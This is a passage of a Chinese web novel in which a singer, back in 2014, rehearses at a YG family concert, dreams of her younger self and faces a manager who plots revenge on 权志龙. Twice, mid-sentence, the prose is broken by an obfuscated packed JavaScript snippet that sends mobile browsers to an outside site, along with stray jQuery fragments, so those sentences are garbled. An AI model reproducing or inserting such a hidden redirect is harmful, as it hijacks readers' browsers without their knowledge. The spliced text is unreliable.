江留月:“……误会,哥,这个人……” 她张了张嘴,想说什么,却发现根本无从说起。 很好,她现在已经从一个“因为感情受伤所以寻找慰藉找了个不靠谱男人谈了短暂恋爱现在对方要纠缠不休的糊涂妹妹”变成了 “甚至找到的可能是个骗婚gay或者更奇怪生物的倒霉蛋妹妹”了。 “……下次去教会的时候跟我说吧,永裴哥。” 江留月深吸一口气,露出和善的笑容:“我也觉得,我身边奇怪的东西太多了。” 累了。 毁灭吧。 35.想见你 35.想见你 直到握着话筒站在舞台中央,耳麦里面传来台下工作人员的声音,江留月才生出了一些实感。 此时距离她登上韩国的舞台,已经过去了将近十年的时间。 自2023年后,中韩的关系有所缓和,难捱的特殊时期也已经结束,她不是没有收到韩国方面的舞台邀请,韩国的粉丝后援会没 有停止运行,她的粉丝人数依然能打,去开一个万人程度的演唱会也没有任何问题。 在进行个人亚巡的时候,江留月也曾经在粉丝中发现韩国粉丝的身影,她们也举过字牌,希望她能够回韩国去开一场,只是随着 时间推移,字牌减少,直到有一天,韩语的字牌上,不再是“回来吧”而是“幸福吧”。 所有人都认为,江留月在中国比韩国要幸福得多,这是一种肉眼可见的,能够被量化的舒适感与幸福感。 令韩国人瞠目结舌甚至酸溜溜嘲讽的生日应援、周年庆典、市中心多城市同步的海报大屏,令人咋舌的以她的名义捐献出去的善 款,举行的慈善活动,援建的公益小学、教室……江留月得到了“让她不必羡慕这个世界上任何人”的热烈爱意,并在爱意里重 新生长出骨肉。 发音的方式变了,舞台的风格变了,穿衣打扮的style变了,总是看起来目光虚无、精神恍惚的状态也变了,最后,连Alice这 个名字也还给了YG,在她身上,很难再找到YG的影子了。 令人痛苦、怀疑自己的日子,江留月也觉得自己不应该怀念。 这样的怀念是不知悔改和廉价的,是等同于背刺痛苦的自己,背刺陪伴自己从往昔时间里杀出重围的伙伴的。 她在很长很长的时间里对YG,对过去缄默不语,工作室开给媒体们的“禁忌单”中写,这位如日中天的女顶流讨厌提到和韩国 有关的一切人和事。 “Alice xi,如果耳麦或者话筒有任何需要调整的,可以直接告诉我们,现在我们先来走一遍试一下灯光和升降台。” 耳麦里传来工作人员的声音,江留月嗯了一声。 2014年的舞台设备,相对于见过2024年历经科技大爆发的新舞美时代的江留月来说,有些过于老旧的不习惯。 就像是走惯了自动扶梯的人站在楼梯上一样,她有些无所适从。 “不要太紧张,我们慢慢来。” 工作人员误认为她是因为太紧张,用尽量平和的声音安抚道。 江留月拿起话筒,好一会儿才找到了自己的声音: “好。” 耳麦里传来节拍音,舞美灯光依次亮起,江留月在家族演唱会上表演的当然是她在2012年发布的Mini专辑主打曲,这首专辑表 现尚可,但撞上不少大雾回归,还是依靠中饭的超强投票才拿到了人气歌谣三冠王。 这首歌曲影响力远不如她后面发的专辑,也不如出道曲,因此在她开亚巡找YG买版权的时候,这首歌甚至没在购买范围内。 江留月本以为这些歌曲都不知道唱了多少遍,应该是驾轻就熟的,直到拿起话筒,才发现自己连歌词都没能脱口而出。 本以为很清晰的记忆,早已在数不清的岁月脚步下被磨到看不清本来的面目。 江留月清了清喉咙,掩饰性的哼哼了几声,好在彩排大家只是试一下话筒耳麦,并没有真的要歌手们开嗓唱完,她才不至于出 丑。 整首歌曲唱下来,江留月只觉得又生疏,又难过。 就像是见到了很久没见的朋友,本以为大家的感情不曾淡去,却发现连对方的名字都记不太清楚了,局促又尴尬。 好在多年的歌手生涯让江留月凭借对舞台的肌肉记忆和丰富经验完成了自己solo舞台的彩排,舞台上面的光熄灭又亮起来,她 已经平复了情绪,鞠躬说着“辛苦了”,然后在舞台负责人员拿来的表格上签字,表示自己的舞台不需要再做多余的调整。 签字的时候她看到前面的格子里面有权志龙的舞台,这位哥对舞台还是一如既往的严苛,细节到连舞台灯的冷暖色号都要进行微 调。 江留月忍不住笑了一声,对工作人员说的那声“辛苦了”也带上了几分真情实感。 彩排的时候并没有完全严格按照顺序来,她的舞台之后本是新人秀,这会儿却变成了2NE1,江留月也许久没有见到她们的舞 台,因此并没有离开,而是走到观众席坐下开始观赏。 富有强烈冲击性的声浪冲击着耳膜,江留月抬着头,用亮晶晶的眼神注视着台上闪闪发光的女孩们,直到舞台结束,才发出带着 感慨的叹息。 彩排结束的2NE1走完了自己的流程,纷纷跳下舞台前来找她聊天,bom大声抱怨江留月只有在山达拉的环节才站起来鼓掌,山达 拉瞪着眼睛大叫冤枉,CL则因为合作舞台就在下一个而急匆匆的转身又返回继续彩排,敏智则到处猫着腰想要找瓶水来喝。 等敏智抱着几瓶水过来,女孩们又一起肩并肩坐在舞台下观看接下来的彩排,随着舞台的推进,台下的人越来越多,大家似乎对彼此的舞台都挺好奇,也可能接下来没有安排别的工作,都留下来开始点评同事们的造型。 这种热闹到有点聒噪到的环境对于江留月来说久违到有些不真实,她能感觉到自己的手心一直在出汗,在没人注意的角落她偷偷 掐了一下自己,感觉到疼痛之后又露出安心的笑容,没骨头一样歪在山达拉的肩膀上,搂着她的手臂把玩山达拉新买的手链。 舞台聚光灯的光很热,尚且空旷的会场总是传来回音,工作人员们拖着巨大无比的宣传海报移动,发出有些刺耳的唰啦唰啦,新 人们表演之后下台过来打招呼,局促不安的坐也不敢坐的站在旁边搓手,每当前辈问一句什么就用高八度的嗓门精神饱满的回 答…… 她陷入混沌的温暖的梦中,不知不觉靠在山达拉的肩膀上闭上了眼睛。 昨夜混乱而痛苦的梦境自然而然的在融化,她的呼吸中是大家身上纷杂的香水味、烟草味与首饰带着的特殊的一点金属腥味。 江留月做了个短暂的,有些离奇的梦。 她梦见自己站在亚巡终场的演唱会台下,这是演唱会结束之后的时刻,地面上洒满了彩条,鞋子踩上去的时候,发出咯吱咯吱的 声音。 她看见了“自己”。 演唱会结束之后,已经换上了私服,却又要折返,在众人清扫中的舞台中央,看着台下。 真奇怪啊,当时的自己,似乎在寻找什么。 看了又看,却什么都没看到。 这一次,江留月和“自己”对视上了。 “自己”露出有些惊讶的表情,然后,目光落在她的身上,又似乎变得有些羞窘。 江留月知道这是为什么。 因为此刻的自己,穿着的衣服,盘起来的头发,戴着的帽子,手腕上叮叮当当的手镯手链,总是高一层的运动鞋,叠加出来一个YG的Alice,而非内娱的江留月。 “没有关系。” 江留月对“自己”说道:“这样的你也很漂亮,大家都非常爱你。” “不要对自己的过去感到耻辱。” 江留月看到‘自己’的表情变得有些茫然,然后,扁扁嘴,像是想哭一样,却又狠狠地咬住了自己的嘴唇,紧紧的绷着小脸。 江留月走上了舞台,一直走到了这个自己面前。 ‘自己’受到惊吓一样后退了两步,脸上出现抗拒、羞耻、犹豫的表情。 江留月伸出手,抱住了‘自己’。 在拥抱的那一刻,她从困住自己的纸盒子里爬了出来。 盒子外面,四野空旷,冰冷的风挟着雪花扑在她的脸庞。 冰凉冰凉的,将她人生中遮住双眼的雾气尽数打散,在她的眼眶里融化,一颗颗的流下泪水。 江留月抱紧了‘自己’,对方的挣扎逐渐变得微弱,最终反手抱住了她,像是个小孩子一样嚎啕大哭起来。 “Alice!!!” 她听见‘自己’的声音。 是了。 是Alice。 是十四岁在韩国磕磕巴巴说出第一句韩语,闯入了异国的花园的Alice。 是趴在哥哥们的衣服下、脚边、背上和怀里睡着的Alice。 是第一次进录音室,第一次进练舞室,第一次站上舞台,第一次面对摄像头,第一次去综艺,第一次用Alice这个名字介绍自己 的Alice。 是在家族演唱会上牵着公司里不知道谁的手就满场乱跑,用矿泉水瓶打水仗,胡乱闯入对方摄像头,掐着嗓子模仿社长和哥哥们 说话,在聚餐的时候喝错了酒吓得哥哥姐姐们用衣服裹住然后直接扛进保姆车的Alice。 是练舞练到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945867|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿抽筋,唱歌总是发不对音被戳肚子,总是会被摁着尝试奇怪造型,明明不是最小的却被所有人默认保护照顾的忙内 Alice。 是几乎所有的人在综艺上都会cue到,每次谈到都会露出骄傲的笑容,叫嚣着“我们YG的容貌就让我们的Alice来”,最不像是YG却又在提到的时候反射性想起YG的Alice。 是误会推着误会,隔阂隔着隔阂,因为解约官司闹上热搜,单方面和所有人割席,形同‘叛逃’般离开韩国,所有人听见名字都 会沉默一瞬然后尴尬的笑着扯开话题,避开不谈的Alice。 Alice,Alice,梦游仙境的你,在逃离那个异国之后,在睡觉之前,是否也曾偷偷希望,能再次看到那奇幻的天空,总是怪笑 的茶杯猫,赶时间的兔子先生和坏脾气的红皇后呢? Alice,你想要忘记、抹去的…… 到底是痛苦的记忆,还是因为曾经的幸福而痛苦的自己? 江留月一直不明白,为什么自己要回来。 她到底能做什么? 是为了之后韩娱的爆雷做准备,是要把即将走错路的朋友们拽回来,还是说试图改变未来? 好像都不是。 她回来,只是因为。 她,想回来。 一直都。 非常想。 非常想。 非常想回来。 想见的人里,有一个非见不可的存在。 那就是—————— “Alice也是你人生的一部分。” “我知道,你也非常的想念‘我’。” * 一阵风吹过。 江留月才发现,自己置身于绿色的旷野之中。 她能感受到散发着青草气味的风迎面吹拂带来的料峭感。 ……等等,现在已经是春天过半了,风还是这样冷吗? 江留月感到一阵违和。 而且这风里面……痒痒的,冰冰凉凉的…… 是…… 雪? “……塔伊?” 江留月下意识的叫出了自己的韩语名字。 她也不知道为什么,就是,下意识的叫了出来。 似乎她的本能告诉她,的确有一个‘塔伊’藏在这里。 她慢慢的往前走,脚步渐渐迟缓,手脚也有些僵硬。 ……找到了。 江留月停下了脚步。 她的眼前有些模糊,但潜意识告诉她,她的确在这里,面对面的见到了。 不是刚才的,演唱会的那个‘自己’。 而是。 塔伊。 “……你。” 江留月只说了一个字,就认出了对方。 有着迷茫的哭得通红的双眼,破碎的像是随时流泪的瞳孔,瘦削,纤细,苍白得发青的脸,总是不自觉咬住牙关所以整个人都显 得很紧绷,很恐惧,像是一朵即将被碾碎的雪花一样的,来自于2014年的,江留月。 “……塔伊。” 江留月被冲击得说不出话来。 她一直以为,是自己回到了2014年,所以,是自己接管了自己的身体。 但好像并非如此。 有一个2014年的塔伊,的确是存在着的‘自己’。 这个塔伊看起来一直在瑟瑟发抖,像是恐惧,又像是别的什么。 她的嘴唇一张一翕,有些干裂,江留月听不清楚,于是艰难的拔出腿,努力的向对方靠近。 一阵狂风卷起白色的浪潮,属于2014年的塔伊身影很快像是浪花一样消散。 “……家。” 江留月只勉强听到了这么一个词。 家? 什么家? 回家? 她要回到2014年? 江留月感到混乱,她的胸口很闷很痛,额头也开始一抽一抽的疼,激烈的耳鸣声,急促而有节奏的响起。 又来了,那种淹没到胸口的,窒息感,即将要把自己吞没了。 江留月猛然顿住,在她即将被吞没的瞬间,她听到了有人在说话。 她没听错,也不可能会听错。 那是权志龙的声音。 只是,更成熟,更沙哑,更疲惫,更绝望。 “——————********” 这个声音,属于2024年的权志龙。 36.拨动时间的人 36.拨动时间的人 权志龙出现在舞台下方的时候,本来还嘻嘻哈哈的新人们瞬间凝固了。 大家都用蚊子一样的声音哼哼着问候,对于权志龙因为过于尊敬而产生的各种妄想眼神出的畏惧感显然已经刻到骨子里。 权志龙脸上倒是带着点荒谬,稍微还有一些礼貌但不失尴尬的笑。 他点头作为招呼,嘴上有的没的说了几句话,看着这群孩子跟鹌鹑一样瑟瑟发抖的样子,他自己也觉得头皮发麻。 “我有那么恐怖吗?” 他对着东永裴有些委屈的问道。 “……” 东永裴只是笑笑不说话。 倒也不是别的。 因为,自认为是个好脾气前辈的他,也一样被新人们害怕着。 大概就是一种本能的畏惧,像是新来的实习生害怕公司骨干,刚转进来的学生陡然面对全国排名靠前的学霸,也总会有一种底气 不足的畏惧感。 “塔伊呢?” 权志龙走到人堆跟前,随口问道:“这孩子是不是该彩排了。” 演唱会的原本顺序是bb-Tg分队-东永裴个人-东永裴江留月合作舞台-江留月个人-新人,这会儿彩排是先排了权志龙个人的,然 后排了bb的,其次是准备排合作+东永裴solo,可这会儿女主角去哪里了? 江留月本在观众席的第一排,但她后面犯困打盹要睡着,趁着她还能迷迷糊糊听懂人话的时候,山达拉带着她往侧边找了个人少 的地方坐。 江留月本就因为昨天没睡好而晕晕乎乎,被山达拉用手摸一摸耳朵脖颈,顿时就不行了,扑在山达拉的怀里就睡着了。 山达拉就半搂着她让她睡,她和江留月是属于那种交集不太多但感情却很好的关系,当初来到韩国的时候,山达拉的东南亚人身 份让她受到不少歧视,江留月没少出面维护她,这让山达拉内心很领她的情,只是她性格不如敏智那样占据年龄优势爱粘人撒娇,也不如CL爽快利落更和江留月有共同话题,所以在外人看来,关系也不算是特别好的那种。 因此,金优看到江留月蜷缩在她身边睡觉的时候,颇感惊讶。 说实话,他今天的惊讶够多了。 当初他来到江留月身边做经纪人的时候,江留月已经因为和权志龙的感情问题拉黑了大多数曾经的交际圈,和YG的关系也快要到 割裂的程度,因此江留月自己想要赶紧到内娱找出路,最终选择了他作为自己离开YG之后的经纪人。 也就是说,金优其实没有真的参与过江留月在YG的生活,他本以为这个公司里没什么江留月在乎喜欢的,现在看起来却远不是这 样。 这让金优感到十分烦躁和焦虑,他能感觉到江留月不受控制,她的行为完全不可预判,这让他明知自己显得过于急切,也无法压 抑住情感的逼迫而硬是要赶紧拿下经纪人的位置。 真正接近了江留月在YG的生活之后,金优的情绪并没有得到平复,反而变得更加焦虑起来。 江留月和这群人之间的感情,比他想象中亲密得多,甚至和杨贤硕的关系也算不上差,金优和杨贤硕昨天交流中能看出来,杨贤 硕嘴巴上不说,其实还挺看重她,至少不是随意放养的态度,不然也不会着急的想要赶紧再找个经纪人给她。 金优如愿得到了江留月经纪人的位置,但眼下所有的一切都让他心烦。 他急切的想要赶紧在众人心中立起来形象,立刻成为江留月的代言人,就像是曾经在国内那样,他说的每一句话都被默认成江留 月的意思,他是江留月的代言人,是江留月的影子,是她最亲近最信任的人。 甚至没有之一。 即便是阿苍,即便是吉如心,没人能够取代他在江留月心中的位置。 ……那些人算什么啊。 也不看看,是谁陪着江留月度过了人生最黑暗的日子,在她孤立无援的时候,在她一个人回到中国的时候,是谁陪在她的身边上 谈判桌,签合同,跑通告。 他在零下的雪夜等待江留月录制结束,也在暴雨的演唱会下拿着浴巾和雨伞等待她唱完最后一支歌,通宵熬夜改曲子的时候,是 他为她端来养胃的粥,清扫掉被她丢了一地的纸片。 有很长一阵时间,只有他守着的时候,江留月才睡得着。 她因为睡眠不足而情绪暴躁,焦虑地啃咬手指,砸碎了许多杯子和装饰品,是他换房间给她,又向酒店赔偿损失,隐瞒下这一 切。 后来他们发现江留月能在行驶中的保姆车里睡着,又是他经常在夜幕下开着车,他们因此去过深夜的寺庙,凌晨的大海,无名的 溪边…… 江留月身边,本要永远有他的位置。 结果现在都是一群无关人等在那里碍眼。 金优走到她们面前,伸手想要把江留月摇醒,但是他的手才伸出去,手腕就被人抓住了。 山达拉的手机都掉了也顾不得,先是一只手,然后两只手都抓住金优的手腕把他往外推。 她的表情都有些惊骇了。 “你干嘛!?” 山达拉见金优没有用力,立刻收回手,像是保住怀里的幼儿一样保住了还在睡觉的江留月,并下意识的用旁边的外套扯过来盖住她。 “……” 金优被她的过激反应吓了一跳,他很快反应过来,用尽量温和的语气说道:“我是Alice的经纪人,您不认识我吗?马上就要都 到她彩排了,得把她叫醒才行。” 山达拉沉默了片刻,勉强挤出笑容:“是吗,那怎么说……突然伸手过来,我吓了一跳,对不起啊,经纪人。” 话是那么说,她抱着江留月肩膀的手也没松开。 金优靠得很近,距离她们只有一臂距离,而且他站着,她们坐着,金优高大的身材给了非常强烈的压迫感。 山达拉下意识的觉得眼前的人不值得信任,她一边推江留月把她叫醒,一边继续警惕的盯着对方。 三个人在角落里僵持了几秒,江留月却是被梦魇住了一样怎么都没能推醒,向着这边走过来的权志龙和东永裴已经是看到这里的 动静,两个人都加快了脚步。 “啊,志龙!!” 山达拉见到救星一样摆着手。 权志龙三步并作两步走上前,金优差点被撞到,因此下意识的自己后退了一步。 “这孩子好像是做噩梦了,怎么都叫不醒呢。” 山达拉将怀里的人半拖半抱起来,权志龙半跪着伸手一捞,江留月就被扯到了他的怀里,宽大的手掌摸了一下江留月的额头。 触手是湿乎乎的凉意,权志龙不由得担心的晃了晃江留月的身体:“塔伊啊,醒一醒,塔伊啊?” “塔伊怎么了?” 东永裴本用犹疑的眼神打量着金优,见状也着急的凑了过去。 在众人的互换中,江留月艰难地睁开了眼睛。 第一个感觉就是头好痛好重,第二个感觉就是自己似乎做了一个很重要的梦,但在睁开眼睛的瞬间,梦境里面的一切都烟消云 散,在她的记忆里没有留下任何痕迹。 她被权志龙抱在怀里,两个人距离很近,以至于她睁开眼睛的时候,先看到的是脸色铁青的死盯着他们背后的金优。 “……怎么了?表情这个样子……什么工作不顺利吗?” 江留月的意识并不清醒,下意识的以为,这样不适感强烈的苏醒,应该是某个熬了通宵工作的夜晚,或者是保姆车、休息室里忙 里偷闲的打盹。 所以想也不想的脱口而出了这句话。 “这孩子……说什么呢?说胡话吗?” 权志龙担忧的又摸了摸她的额头。 江留月这才注意到抱着自己的人,看到权志龙的脸的瞬间,她恍惚了一下。 “……哥?” 她捂住了自己的头,自言自语道:“是梦吗?” “看来是做噩梦了。” 权志龙叹了口气,在旁边位置上坐下,忍不住掐了一下她的脸蛋肉:“什么梦啊,能给你吓成这样,要不要去换件衣服?你会着凉的。” 他又觉得离奇:“不是,这里这么吵,你也能睡着?” 江留月捂着头坐着休息了一会儿,眩晕感褪去,理智和记忆逐渐回笼,但是胸口的闷痛和窒息感却久久不散。 也许她的表情太难看了,权志龙又忍不住着急的问她是不是哪里不舒服。 江留月讲不出来,她只觉得自己刚才做的那个梦应该是很重要的,她这样子反而让权志龙更着急了。 “要不要去医院?” 他忧心忡忡的摸了摸江留月的后脖颈,这里也是湿乎乎的。 “你出了好多汗啊。” 他轻声道。 山达拉很小声的提醒他现在摄像机要过来了,权志龙只好暂时与江留月分开坐到旁边的位置上,东永裴则无所谓的蹲在地上继续 关心江留月。 “没事,可能是因为那个灯太热了,所以才出汗的,没事的,”江留月此时清醒了不少,她扫了一眼已经凑过来的摄像机,扯出 了一个笑容:“对不起啊永裴哥,让你等我了。” “真的不舒服真的要说哦。” 东永裴唠唠叨叨的:“你这孩子怎么总是那么倔强呢。” 江留月痛苦的捂住耳朵往山达拉怀里一倒:“哥你的唠叨比头痛还要折磨我。” 旁边的工作人员发出善意的哄笑,权志龙却笑不出来,脸色黑沉沉的盯着江留月,显然因为江留月的身体状况而烦躁。 “是不是到我们了?永裴哥,让你久等了,我们走吧。” 江留月坐在椅子上,做作的翘起自己的一只小手,故意在空中摆了个兰花指造型,东永裴本就半蹲半跪的在跟她讲话,看她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954498|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 样,也笑着站起来对着她行了个绅士礼,伸手扶住了她的小手。 矫揉造作的用山达拉的外套遮了遮自己的脸庞,江留月在大家的笑声中站了起来,搭着东永裴的手腕开始往舞台方向走。 在摄像机随着移动的时候,她一只手往后一偏,像是一只停留在花瓣上的蝴蝶一样,轻飘飘的勾了一下权志龙的手心。 ‘我很好,别担心,笑一笑吧。’ 明明没有说话,但是,权志龙却微妙的听到了她的声音。 黏糊糊的,挂在自己脖子上,撒娇一样的蹭着脸颊的温度。 权志龙的表情一下子就舒缓不少,抿着嘴跟在他们后面,嘴角却怎么都降不下去。 这小小的互动没有被拍到,但是,金优却看得很清楚。 他一下子没收住自己的表情管理,脸色恐怖阴森的看着权志龙。 这样直白的恶意,权志龙自然察觉到了。 他看向金优,本以为这家伙会掩饰的别开头,却没想到金优直勾勾的盯着他看。 ‘这杂种想干嘛……’ 权志龙被挑衅得火气一下子上来了,不知道为什么,他早就不是毛头小子了,不知道面对过多少刁难的记者,故意挑衅得关种, 居心叵测的走狗,虽然会黑脸,但是更进一步的行为,他是从来不会做的。 可面对这个人的时候,却不知道为什么就是忍不住要发火。 一股难以言说的怨恨、愤怒、敌意从心脏最深处涌动,几乎要把他给吞噬。 ……这里绝对不是发火的地方。 权志龙强行压下自己的情绪,想要赶紧离开这里,他要让人立刻把这个叫做金优的人查个底朝天,他的直觉告诉他,这个人非常 危险。 于是权志龙脚步匆匆的跟随众人想要离开,在和金优擦身而过的瞬间,他却还是没忍住停下了脚步。 “……你的名字是什么?” 权志龙也知道自己这样非常小心眼。 但是他还是忍不住。 对方比他要高大许多,从上而下的视线里,权志龙感受到了对方浓烈的敌意与一种自认为隐藏的很好的傲慢。 傲慢? 他是什么东西,也配在自己的面前傲慢? 不过是讨好社长才当上的经纪人,这样的人,只要他一句话,就立刻就会滚出这个公司,这个傻逼是真的不懂吗? “金优。” 金优的声音也有些嘶哑: “怎么了,志龙xi不知道我的名字吗?” “我该知道吗?” 权志龙发出一声轻呵,然后抬眼冷淡的瞥了他一眼:“毕竟这个会场和公司来来往往那么多,要记住名字是很难的事情,我和你 不一样,你得费劲心力记住我的名字——看,你不是做得很好吗?” 金优微妙的顿住了。 他眼前的这个权志龙,比他记忆里的要年轻许多,也狂妄、尖锐很多。 直觉告诉他,如果这个时候和他起了冲突,恐怕会是一件麻烦的事情。 金优深吸了一口气才委屈自己鞠躬问好:“是,请您多指教。” 他高大瘦削的身影鞠躬下来,腰弯的很低,凭借身高的那点微弱的优势,不仅立刻荡然无存,还让这个场景变得有些滑稽。 金优非常厌恶这样的感觉。 自己的优势被一扫而空,似乎被眼前这个男人打败的感觉。 ……明明他才是赢家。 金优这么想着的时候,感觉到肩膀上被人拍了一下。 权志龙用长辈对晚辈的口吻说道: “好好干,金优,我会关注你的。” 他说完这句话,就头也不回的走了。 金优直起腰,看向权志龙的背影,他走过去的每个地方,都有人礼貌的对他鞠躬,前方正对着舞台,绚烂的灯光洒在他走的道路上。 他刚刚涌出的情绪忽然变成了微妙而扭曲的愉悦。 尽管现在是如此的嚣张、傲慢、不可一世。 又如何呢? 还会比曾经的那个权志龙更傲慢吗? 身份更高、地位更高、有更多的钱,有更多的人前仆后继为他抚平衣服的褶皱又如何。 这样一个天之骄子,也会像是落水狗一样倒在地上,从喉咙里发出不像样的崩溃的哀嚎。 也会因为极度的痛苦而软弱的流泪到视网膜脱落,几乎看不清东西,要从眼睛里流出血泪。 也会故作镇定,实则手和膝盖都在发抖的跟自己谈条件,哀求自己能够手下留情。 ……你那凄惨、卑微、破碎的样子,是我取得成功的最好的祝酒。 “看着你现在得意洋洋的样子,更让我期待,你跪在地上求饶的样子了。” 曾经没有看到。 但这次一定可以。 如果没有看到这样的场景。 那么我重新拨动时间的钟表,又有什么意义呢? GD XI。 37.恶意 37.恶意 从江留月出道,不,从她有记忆开始,她的人生中,就从未缺少过一样东西。 那就是,对她容貌的溢美之词。 小时候被夸奖像个洋娃娃,稍大一些说是个美人坯子,再到少女时期,尽管还透着青涩稚嫩,也已然如沾染露水的花朵一样,露 出令人心醉神迷的心态。 从懵懵懂懂到美而自知再到利用美貌作为无往不胜的人际利器,江留月并没有花费多少时间,这让她对一些自己人生中的痛苦感 到难以启齿。 有着这样的美貌的她,本身人生已是开了作弊器,旁人看来,还有优渥家世与大公司作为背景支持,婉转动听的嗓音和基因彩票一般的身材皮肤,不管是什么时候,都有人梦想着能成为她在这个世界上活一次。 “有着这样的人生,能有什么苦恼呢。” 旁人艳羡的眼神与话语,堵住了她向外倾诉苦闷的通道。 没人能理解江留月的痛苦,哪怕她自己。 似乎过于无病呻吟了,似乎过于矫情了,似乎是因为自己不够努力才如此的。 2013年之前,江留月的身份定位从活泼可爱、精灵鬼马的国民妹妹到温顺婉约,美丽动人的“好嫁风”女神,是“说起来容貌大 家都觉得是个大美女,但除了脸蛋和绯闻好像也没什么特别能谈论的”这么一个存在。 但是从2014年之后,随着一次暴瘦,江留月突然打碎了以前给大众的那种固定印象,她似乎遭遇了什么事情,笑容越来越少,却 意外的,吸引了越来越多的粉丝。 这样的痛苦,在折磨着她的时候,又赋予她令人怜爱的破碎感,如西施捧心,自有一番韵味,他人想要模仿,都难以模仿到精髓。 曾经她的许多神图,都不是笑着的,而是微微蹙着眉,或者放空发着呆,也有忍着身体不适录制节目时如狂风打寒荷的模样,也 有她衣衫华贵坐在众星闪耀的嘉宾席中,却散发着遗世独立的孤寂感的瞬间。 世人爱她不爱这个世界的模样。 江留月曾经以为想要让这个世界爱自己,是要奔向这个世界,去笑,去拥抱,用投放温暖。 后来,她才想明白了。 那是普通人的生存之道。 而非她的。 她是爱豆,是演员,是昂贵的艺术品,是悬挂于天空的明月,是信徒眼中的神明。 她越是高不可攀,越是熠熠夺目,越多得是过江之鲫奔涌而来。 幸福温暖的东西看到的时候颇为触动,却转眼就忘。 真正被人铭记的,是要像刀子一样捅入心脏般的疼痛,仿佛被子弹打中一样的瞬间。 当舞台的灯光洒落在她的银发上,没有笑容,甚至也没有眼神留给观众,虚空的望向遥远地方,沉湎于痛苦、情爱、绝望之中 的,是一枚沼泽地的月亮。 因为身处沼泽和污泥之中,她越发的明亮、光辉灿烂。 因为看起来是那么的脆弱,因此随着如同手掌一般有力稳妥的声音逐渐太高的时候,江留月轻声哼唱的,似乎带着忐忑的,像是 稚嫩的幼兽试探着再次身处脚掌的部分,勾得所有人都心里痒痒。 想要捉住,又想要抱紧,想要她逃跑去天上,又想把她从天上拽下来摔掉,感觉会碎掉,又希望她能碎掉。 #月神降临 Alice# #True Love 太阳 Alice# #YG演唱会 Alice# #Alice Live # #True Love 疯了# 绝顶保密又破格的造型、美到让人失语的容貌、打碎固有印象的好唱功、一首令人闻之不忘的好歌曲再加上作为家族演唱会,台 下几乎完全为此类歌手受众的舞台,江留月看似轻飘飘,实则蓄谋已久的复出舞台一拳打得整个社交平台都懵圈。 当天晚上YG就发布了《True Love》的音源,然后直接挂上窗帘(备注:音源网站收听从0弹射到最高点并一直持续,曲线呈直线封住最高点一直到记录时段结束被称为挂窗帘),24小时不到,翻唱视频就已经开始满天飞,江留月的造型复盘、仿妆、配饰盘 点、美妆品牌科普也□□到了美妆首页,24小时内,同款耳钉和发箍就已经售罄。 “……我不知道会那么成功。” 阿苍可能是太兴奋了,反而脸色苍白,她哆哆嗦嗦的看着江留月的头发:“塔伊啊,我、我要怎么设计你下一场的造型啊,我现 在脑子都空白了。” “没关系,就按你的想法来,别有太大压力了。”江留月拍了拍她冰冷的手,小小的给了一点提示:“稍微拢起来一点怎么样,我记得有一条项链很适合改成头箍。” 阿苍连连点头,几乎是脚步打飘的走了,江留月则靠在沙发上一边喝咖啡一边在刷社交媒体上的帖子。 对于艺人来说,有时候风向就是一瞬间改变的,才霸占了热搜榜,就有许多人跳出来开始发她的小道消息,当然大部分都是在赞 颂她的,粉丝们马不停蹄的给这些帖子点赞送到热门,一个好的循环就这样开启了。 这些人说的事情,江留月都不太记得了,甚至也可能根本没发生。 当然,这些对于她来说,也并不陌生。 韩娱也就罢了,拢共也就这么几千万人口,在曾经流量短视频爆炸的20年代,一张照片、一段几十秒的视频,就能送她去几亿网 民面前的热门,甚至可以单视频点赞破千万。 江留月刷了一下自己的国内平台,发送了几张后台照,特别关注了一下转发量和浏览量,此时水军还并不盛行,数据还是很能看 出一些东西的。 刷着刷着,一条新闻吸引了她的注意。 内容倒是平平无奇,无非是她的美貌大盘点,但标题很有趣。 “用容貌打败了S&M和JYP,YG的翻身仗艺人” 毫无疑问,在粉丝们看来,这是个十足的引战贴,但被这个帖子吸引进来的可不光是粉丝,还有许多被耸动的标题吸引的路人。 大家的审美本各有偏好,但江留月最近的曝光率太高又有着十足震慑的硬照和唱功飙升的现场,路人盘上,竟也占了些许上风。 “这是你想要的反响吗?” 江留月将手机放在桌子上,抬起头,看向面前的金优。 他的表情看起来依然平静,但江留月从中看出了许多试探和邀功的成分。 真奇怪,这人之前在自己身边的时候,应该是个像机器一样精准工作的人,从没有什么情绪,早起江留月再起炉灶,日子过得不 算顺遂,不管是名利还是别的,给不了他什么,金优也从未展现过半分急躁。 很明显,什么东西刺激到了金优,让他加快了脚步。 “……你不会想让我夸你吧?” 但这样加快节奏的行为,只是让江留月感到了烦躁。 因为,这个本用在2018~2019年的营销手段放在2014年,并不合适,甚至可能会引发细微的连锁反应。 当时韩娱式微,江留月作为原来的韩娱黄金时代留在内地的幸运儿中屈指可数的女性,可以说是吃到了几乎所有原本属于韩娱女 歌手的红利以及散粉好感度,且当时她已与YG割席,出这种通稿,哪怕有人要骂,也绝对骂不到她头上。 ‘怜爱美女了,都离开YG那么久还要被公司吸血’ ‘YG最近是想刷存在感了,放过前艺人吧’ 江留月当时孤身一人,毫无退路可言,为在内娱杀出血路,才用上了这种激进手段,实则自己内心深处一直将这种营销视为污点,因此事业有了起色之后才会那么狠的彻底割席。 